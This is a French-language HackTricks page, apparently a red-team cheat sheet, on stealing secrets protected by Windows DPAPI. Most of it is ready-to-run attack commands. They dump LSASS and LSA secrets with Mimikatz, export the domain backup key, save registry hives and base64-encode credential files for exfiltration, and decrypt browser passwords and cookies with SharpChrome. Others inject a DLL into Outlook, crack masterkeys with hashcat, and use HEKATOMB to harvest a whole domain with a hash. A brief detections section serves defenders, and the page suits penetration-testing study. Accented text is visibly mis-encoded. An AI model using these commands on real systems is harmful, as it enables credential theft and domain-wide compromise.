DPAPI - Extraction des mots de passe
Reading time: 22 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que DPAPI
The Data Protection API (DPAPI) est principalement utilisĂ© dans le systĂšme d'exploitation Windows pour le chiffrement symĂ©trique de clĂ©s privĂ©es asymĂ©triques, en s'appuyant soit sur des secrets utilisateur soit sur des secrets systĂšme comme source importante d'entropie. Cette approche simplifie le chiffrement pour les dĂ©veloppeurs en leur permettant de chiffrer des donnĂ©es Ă l'aide d'une clĂ© dĂ©rivĂ©e des secrets de connexion de l'utilisateur ou, pour le chiffrement systĂšme, des secrets d'authentification du domaine, Ă©vitant ainsi aux dĂ©veloppeurs de devoir gĂ©rer la protection de la clĂ© de chiffrement eux-mĂȘmes.
La maniĂšre la plus courante d'utiliser DPAPI est via les fonctions CryptProtectData
et CryptUnprotectData
, qui permettent aux applications de chiffrer et dĂ©chiffrer des donnĂ©es de maniĂšre sĂ©curisĂ©e avec la session du processus actuellement connectĂ©. Cela signifie que les donnĂ©es chiffrĂ©es ne peuvent ĂȘtre dĂ©chiffrĂ©es que par le mĂȘme utilisateur ou systĂšme qui les a chiffrĂ©es.
De plus, ces fonctions acceptent aussi un entropy
parameter qui sera Ă©galement utilisĂ© lors du chiffrement et du dĂ©chiffrement ; par consĂ©quent, pour dĂ©chiffrer quelque chose chiffrĂ© en utilisant ce paramĂštre, vous devez fournir la mĂȘme valeur d'entropie qui a Ă©tĂ© utilisĂ©e lors du chiffrement.
Génération de la clé utilisateur
The DPAPI génÚre une clé unique (appelée pre-key
) pour chaque utilisateur basée sur ses identifiants. Cette clé est dérivée du mot de passe de l'utilisateur et d'autres facteurs ; l'algorithme dépend du type d'utilisateur mais se termine par un SHA1. Par exemple, pour les utilisateurs de domaine, cela dépend du NTLM hash de l'utilisateur.
Ceci est particuliÚrement intéressant car si un attaquant peut obtenir le hash du mot de passe de l'utilisateur, il peut :
- Decrypt any data that was encrypted using DPAPI avec la clé de cet utilisateur sans avoir besoin de contacter une API
- Essayer de crack the password hors ligne en tentant de générer la clé DPAPI valide
De plus, chaque fois que des données sont chiffrées par un utilisateur en utilisant DPAPI, une nouvelle master key est générée. Cette master key est celle réellement utilisée pour chiffrer les données. Chaque master key reçoit un GUID (Globally Unique Identifier) qui l'identifie.
Les master keys sont stockées dans le répertoire %APPDATA%\Microsoft\Protect\<sid>\<guid>
, oĂč {SID}
est le Security Identifier de cet utilisateur. La master key est stockée chiffrée par la pre-key
de l'utilisateur et aussi par une domain backup key pour la rĂ©cupĂ©ration (donc la mĂȘme clĂ© est stockĂ©e chiffrĂ©e 2 fois avec deux clĂ©s diffĂ©rentes).
Notez que la domain key utilisée pour chiffrer la master key se trouve dans les domain controllers et ne change jamais, donc si un attaquant a accÚs au domain controller, il peut récupérer la domain backup key et déchiffrer les master keys de tous les utilisateurs du domaine.
Les blobs chiffrĂ©s contiennent le GUID de la master key qui a Ă©tĂ© utilisĂ©e pour chiffrer les donnĂ©es dans leurs en-tĂȘtes.
tip
Les blobs chiffrés DPAPI commencent par 01 00 00 00
Find master keys:
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
This is what a bunch of Master Keys of a user will looks like:
Génération de la clé Machine/SystÚme
C'est la clĂ© utilisĂ©e par la machine pour chiffrer des donnĂ©es. Elle est basĂ©e sur le DPAPI_SYSTEM LSA secret, qui est une clĂ© spĂ©ciale accessible uniquement par l'utilisateur SYSTEM. Cette clĂ© est utilisĂ©e pour chiffrer des donnĂ©es devant ĂȘtre accessibles par le systĂšme lui-mĂȘme, comme des identifiants au niveau machine ou des secrets systĂšme.
Notez que ces clés n'ont pas de sauvegarde de domaine, elles sont donc accessibles uniquement localement :
- Mimikatz peut y accéder en extrayant les LSA secrets avec la commande :
mimikatz lsadump::secrets
- Le secret est stocké dans le registre, donc un administrateur pourrait modifier les permissions DACL pour y accéder. Le chemin du registre est :
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
- L'extraction hors-ligne des hives du registre est également possible. Par exemple, en tant qu'administrateur sur la cible, sauvegardez les hives et exfiltrez-les :
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv
Ensuite, sur votre machine d'analyse, rĂ©cupĂ©rez le DPAPI_SYSTEM LSA secret depuis les hives et utilisez-le pour dĂ©chiffrer les blobs Ă l'Ă©chelle machine (mots de passe des tĂąches planifiĂ©es, identifiants de service, profils WiâFi, etc.) :
mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
# Look for the DPAPI_SYSTEM secret in the output
Données protégées par DPAPI
Parmi les données personnelles protégées par DPAPI, on trouve :
- Windows creds
- les mots de passe d'Internet Explorer et de Google Chrome et les données d'auto-complétion
- les mots de passe d'e-mail et des comptes FTP internes pour des applications comme Outlook et Windows Mail
- mots de passe pour les dossiers partagés, les ressources, les réseaux sans fil, et Windows Vault, y compris les clés de chiffrement
- mots de passe pour les connexions Remote Desktop, .NET Passport, et clés privées pour divers usages de chiffrement et d'authentification
- mots de passe réseau gérés par Credential Manager et données personnelles dans des applications utilisant CryptProtectData, comme Skype, MSN messenger, et plus
- blobs chiffrés dans le registre
- ...
Les données protégées au niveau systÚme comprennent :
- mots de passe Wifi
- mots de passe des tùches planifiées
- ...
Options d'extraction de la master key
- Si l'utilisateur a les privilÚges domain admin, il peut accéder à la domain backup key pour déchiffrer toutes les master keys des utilisateurs du domaine :
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
- Avec des privilÚges d'administrateur local, il est possible d'accéder à la mémoire LSASS pour extraire les clés maßtresses DPAPI de tous les utilisateurs connectés et la clé SYSTEM.
# Mimikatz
mimikatz sekurlsa::dpapi
- Si l'utilisateur dispose de privilÚges d'administrateur local, il peut accéder au DPAPI_SYSTEM LSA secret pour déchiffrer les clés maßtresses de la machine :
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
- Si le mot de passe ou le hash NTLM de l'utilisateur est connu, vous pouvez décrypter directement les master keys de l'utilisateur :
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
- Si vous ĂȘtes dans une session en tant qu'utilisateur, il est possible de demander au DC la clĂ© de sauvegarde pour dĂ©chiffrer les master keys via RPC. Si vous ĂȘtes administrateur local et que l'utilisateur est connectĂ©, vous pourriez voler son session token pour cela :
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
Lister Vault
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
Accéder aux données chiffrées DPAPI
Trouver des données chiffrées DPAPI
Les fichiers utilisateur couramment protégés se trouvent dans :
C:\Users\username\AppData\Roaming\Microsoft\Protect\*
C:\Users\username\AppData\Roaming\Microsoft\Credentials\*
C:\Users\username\AppData\Roaming\Microsoft\Vault\*
- Pensez aussi Ă remplacer
\Roaming\
par\Local\
dans les chemins ci-dessus.
Exemples d'énumération :
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
SharpDPAPI peut trouver des blobs chiffrés DPAPI dans le systÚme de fichiers, le registre et des blobs B64 :
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\
# Search a blob inside a file
search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
Notez que SharpChrome (du mĂȘme repo) peut ĂȘtre utilisĂ© pour dĂ©chiffrer, via DPAPI, des donnĂ©es sensibles comme les cookies.
Chromium/Edge/Electron recettes rapides (SharpChrome)
- Utilisateur actuel, dĂ©cryptage interactif des identifiants/cookies enregistrĂ©s (fonctionne mĂȘme avec les cookies app-bound de Chrome 127+ car la clĂ© supplĂ©mentaire est rĂ©solue Ă partir du Credential Manager de lâutilisateur lorsqu'il est exĂ©cutĂ© dans le contexte de l'utilisateur) :
SharpChrome logins /browser:edge /unprotect
SharpChrome cookies /browser:chrome /format:csv /unprotect
- Analyse hors ligne lorsque vous n'avez que des fichiers. Commencez par extraire la clé d'état AES du profil "Local State" puis utilisez-la pour décrypter la cookie DB:
# Dump the AES state key from Local State (DPAPI will be used if running as the user)
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
- Triage à l'échelle du domaine/à distance lorsque vous avez la DPAPI domain backup key (PVK) et admin sur l'hÎte cible :
SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins /server:HOST01 /browser:chrome /pvk:key.pvk
- Si vous avez la DPAPI prekey/credkey dâun utilisateur (depuis LSASS), vous pouvez ignorer password cracking et dĂ©chiffrer directement les donnĂ©es de profil :
# For SharpChrome use /prekey; for SharpDPAPI use /credkey
SharpChrome cookies /browser:edge /prekey:SHA1_HEX
SharpDPAPI.exe credentials /credkey:SHA1_HEX
Remarques
- Les versions récentes de Chrome/Edge peuvent stocker certains cookies en utilisant le chiffrement "App-Bound". Offline decryption de ces cookies spécifiques n'est pas possible sans la clé app-bound supplémentaire ; exécutez SharpChrome dans le contexte de l'utilisateur cible pour la récupérer automatiquement. Voir le Chrome security blog post référencé ci-dessous.
AccÚs aux clés et données
- Use SharpDPAPI pour obtenir des credentials depuis des fichiers DPAPI encrypted de la session actuelle :
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
- Obtenir les informations de credentials comme les données chiffrées et le guidMasterKey.
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
- Accéder aux masterkeys:
Décrypter le masterkey d'un utilisateur demandant la domain backup key en utilisant RPC:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
L'outil SharpDPAPI prend également en charge ces arguments pour le déchiffrement du masterkey (remarquez qu'il est possible d'utiliser /rpc
pour obtenir la clé de sauvegarde du domaine, /password
pour utiliser un mot de passe en clair, ou /pvk
pour spécifier un fichier de clé privée DPAPI du domaine...) :
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
- Déchiffrer des données en utilisant une masterkey:
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
L'outil SharpDPAPI prend également en charge ces arguments pour le déchiffrement de credentials|vaults|rdg|keepass|triage|blob|ps
(notez qu'il est possible d'utiliser /rpc
pour obtenir la clé de sauvegarde du domaine, /password
pour utiliser un mot de passe en clair, /pvk
pour spécifier un fichier de clé privée de domaine DPAPI, /unprotect
pour utiliser la session de l'utilisateur courant...):
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
- Utiliser une DPAPI prekey/credkey directement (aucun password nécessaire)
Si vous pouvez dumper LSASS, Mimikatz expose souvent une DPAPI key par connexion (per-logon) qui peut ĂȘtre utilisĂ©e pour dĂ©chiffrer les masterkeys de l'utilisateur sans connaĂźtre le plaintext password. Transmettez cette valeur directement au tooling :
# SharpDPAPI accepts the "credkey" (domain or local SHA1)
SharpDPAPI.exe triage /credkey:SHA1_HEX
# SharpChrome accepts the same value as a "prekey"
SharpChrome logins /browser:edge /prekey:SHA1_HEX
- Déchiffrer des données en utilisant la session utilisateur actuelle:
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Déchiffrement hors ligne avec Impacket dpapi.py
Si vous avez le SID et le mot de passe (ou le NT hash) de lâutilisateur victime, vous pouvez dĂ©chiffrer les DPAPI masterkeys et les Credential Manager blobs entiĂšrement hors ligne en utilisant Impacketâs dpapi.py.
-
Identifier les artefacts sur le disque:
-
Credential Manager blob(s): %APPDATA%\Microsoft\Credentials<hex>
-
Matching masterkey: %APPDATA%\Microsoft\Protect<SID>{GUID}
-
Si lâoutil de transfert de fichiers est instable, encodez les fichiers en base64 sur lâhĂŽte et copiez la sortie:
# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
- Décrypter la masterkey avec le SID de l'utilisateur et le password/hash :
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'
# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
- Utilisez la masterkey déchiffrée pour déchiffrer le credential blob:
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>
Ce workflow récupÚre souvent des identifiants de domaine enregistrés par des applications utilisant le Windows Credential Manager, y compris des comptes administratifs (par ex., *_adm
).
Gestion de l'entropie optionnelle ("Third-party entropy")
Certaines applications passent une valeur supplémentaire d'entropie à CryptProtectData
. Sans cette valeur, le blob ne peut pas ĂȘtre dĂ©chiffrĂ©, mĂȘme si le masterkey correct est connu. Obtenir l'entropie est donc essentiel lorsqu'on cible des identifiants protĂ©gĂ©s de cette maniĂšre (par ex. Microsoft Outlook, certains clients VPN).
EntropyCapture (2022) est une DLL en mode utilisateur qui intercepte les fonctions DPAPI dans le processus ciblé et enregistre de maniÚre transparente toute entropie optionnelle fournie. L'exécution d'EntropyCapture en mode DLL-injection contre des processus comme outlook.exe
ou vpnclient.exe
produira un fichier associant chaque buffer d'entropie au processus appelant et au blob. L'entropie capturĂ©e peut ensuite ĂȘtre fournie Ă SharpDPAPI (/entropy:
) ou Mimikatz (/entropy:<file>
) afin de déchiffrer les données.
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
Craquage des masterkeys hors ligne (Hashcat & DPAPISnoop)
Microsoft a introduit un format de masterkey context 3 Ă partir de Windows 10 v1607 (2016). hashcat
v6.2.6 (December 2023) a ajouté les hash-modes 22100 (DPAPI masterkey v1 context ), 22101 (context 1) et 22102 (context 3), permettant le craquage accéléré par GPU des mots de passe utilisateur directement à partir du fichier masterkey. Les attaquants peuvent donc effectuer des word-list ou brute-force sans interagir avec le systÚme cible.
DPAPISnoop
(2024) automatise le processus:
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
L'outil peut également analyser les blobs Credential et Vault, les déchiffrer avec des clés craquées et exporter les mots de passe en clair.
Accéder aux données d'une autre machine
Dans SharpDPAPI and SharpChrome vous pouvez indiquer l'option /server:HOST
pour accĂ©der aux donnĂ©es d'une machine distante. Bien sĂ»r vous devez ĂȘtre en mesure d'accĂ©der Ă cette machine et dans l'exemple suivant il est supposĂ© que la clĂ© de chiffrement de sauvegarde du domaine est connue:
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
Autres outils
HEKATOMB
HEKATOMB est un outil qui automatise l'extraction de tous les utilisateurs et ordinateurs depuis l'annuaire LDAP et l'extraction de la domain controller backup key via RPC. Le script résoudra ensuite toutes les adresses IP des ordinateurs et effectuera un smbclient sur tous les ordinateurs pour récupérer tous les blobs DPAPI de tous les utilisateurs et tout déchiffrer avec la domain backup key.
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
Avec la liste d'ordinateurs extraite de LDAP vous pouvez trouver chaque sous-rĂ©seau mĂȘme si vous ne les connaissiez pas !
DonPAPI 2.x (2024-05)
DonPAPI peut dumper automatiquement les secrets protégés par DPAPI. La release 2.x a introduit :
- Collecte parallĂšle de blobs depuis des centaines d'hĂŽtes
- Parsing des masterkeys context 3 et intégration automatique du cracking avec Hashcat
- Support des cookies chiffrés Chrome "App-Bound" (voir la section suivante)
- Un nouveau mode
--snapshot
pour interroger répétitivement les endpoints et comparer (diff) les blobs nouvellement créés
DPAPISnoop
DPAPISnoop est un parser en C# pour fichiers masterkey/credential/vault qui peut produire des formats Hashcat/JtR et éventuellement lancer le cracking automatiquement. Il supporte pleinement les formats de masterkey machine et utilisateur jusqu'à Windows 11 24H1.
Détections courantes
- AccĂšs aux fichiers dans
C:\Users\*\AppData\Roaming\Microsoft\Protect\*
,C:\Users\*\AppData\Roaming\Microsoft\Credentials\*
et autres répertoires liés à DPAPI. - ParticuliÚrement depuis un partage réseau comme C$ ou ADMIN$.
- Utilisation de Mimikatz, SharpDPAPI ou d'outils similaires pour accéder à la mémoire LSASS ou dumper des masterkeys.
- ĂvĂ©nement 4662 : An operation was performed on an object â peut ĂȘtre corrĂ©lĂ© avec l'accĂšs Ă l'objet
BCKUPKEY
. - ĂvĂ©nement 4673/4674 lorsqu'un processus demande SeTrustedCredManAccessPrivilege (Credential Manager)
Vulnérabilités & changements de l'écosystÚme 2023-2025
- CVE-2023-36004 â Windows DPAPI Secure Channel Spoofing (novembre 2023). Un attaquant avec accĂšs rĂ©seau pouvait tromper un membre de domaine pour qu'il rĂ©cupĂšre une DPAPI backup key malveillante, permettant le dĂ©chiffrement des masterkeys utilisateur. CorrigĂ© dans le cumulative update de novembre 2023 â les administrateurs doivent s'assurer que les DCs et postes de travail sont entiĂšrement patchĂ©s.
- Chrome 127 âApp-Boundâ cookie encryption (juillet 2024) a remplacĂ© la protection hĂ©ritĂ©e uniquement DPAPI par une clĂ© additionnelle stockĂ©e dans le Credential Manager de l'utilisateur. Le dĂ©chiffrement hors-ligne des cookies requiert dĂ©sormais Ă la fois le DPAPI masterkey et la GCM-wrapped app-bound key. SharpChrome v2.3 et DonPAPI 2.x sont capables de rĂ©cupĂ©rer la clĂ© supplĂ©mentaire lorsqu'ils s'exĂ©cutent dans le contexte utilisateur.
Ătude de cas : Zscaler Client Connector â Entropie personnalisĂ©e dĂ©rivĂ©e du SID
Zscaler Client Connector stocke plusieurs fichiers de configuration sous C:\ProgramData\Zscaler
(par ex. config.dat
, users.dat
, *.ztc
, *.mtt
, *.mtc
, *.mtp
). Chaque fichier est chiffrĂ© avec DPAPI (Machine scope) mais le fournisseur fournit une entropie personnalisĂ©e qui est calculĂ©e Ă l'exĂ©cution au lieu d'ĂȘtre stockĂ©e sur le disque.
L'entropie est reconstruite à partir de deux éléments :
- Un secret codé en dur intégré dans
ZSACredentialProvider.dll
. - Le SID du compte Windows auquel appartient la configuration.
L'algorithme implémenté par la DLL est équivalent à :
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);
// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
Parce que le secret est intĂ©grĂ© dans une DLL qui peut ĂȘtre lue depuis le disque, tout attaquant local disposant des droits SYSTEM peut rĂ©gĂ©nĂ©rer l'entropie pour n'importe quel SID et dĂ©crypter les blobs hors ligne :
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
Le dĂ©chiffrement rĂ©vĂšle la configuration JSON complĂšte, incluant chaque contrĂŽle de posture de l'appareil et sa valeur attendue â des informations trĂšs prĂ©cieuses lors de tentatives de contournement cĂŽtĂ© client.
ASTUCE : les autres artefacts chiffrés (
*.mtt
,*.mtp
,*.mtc
,*.ztc
) sont protégés avec DPAPI sans entropie (16
octets nuls). Ils peuvent donc ĂȘtre dĂ©chiffrĂ©s directement avecProtectedData.Unprotect
une fois les privilĂšges SYSTEM obtenus.
Références
-
Synacktiv â Should you trust your zero trust? Bypassing Zscaler posture checks
-
https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
-
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
-
https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
-
https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
-
HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.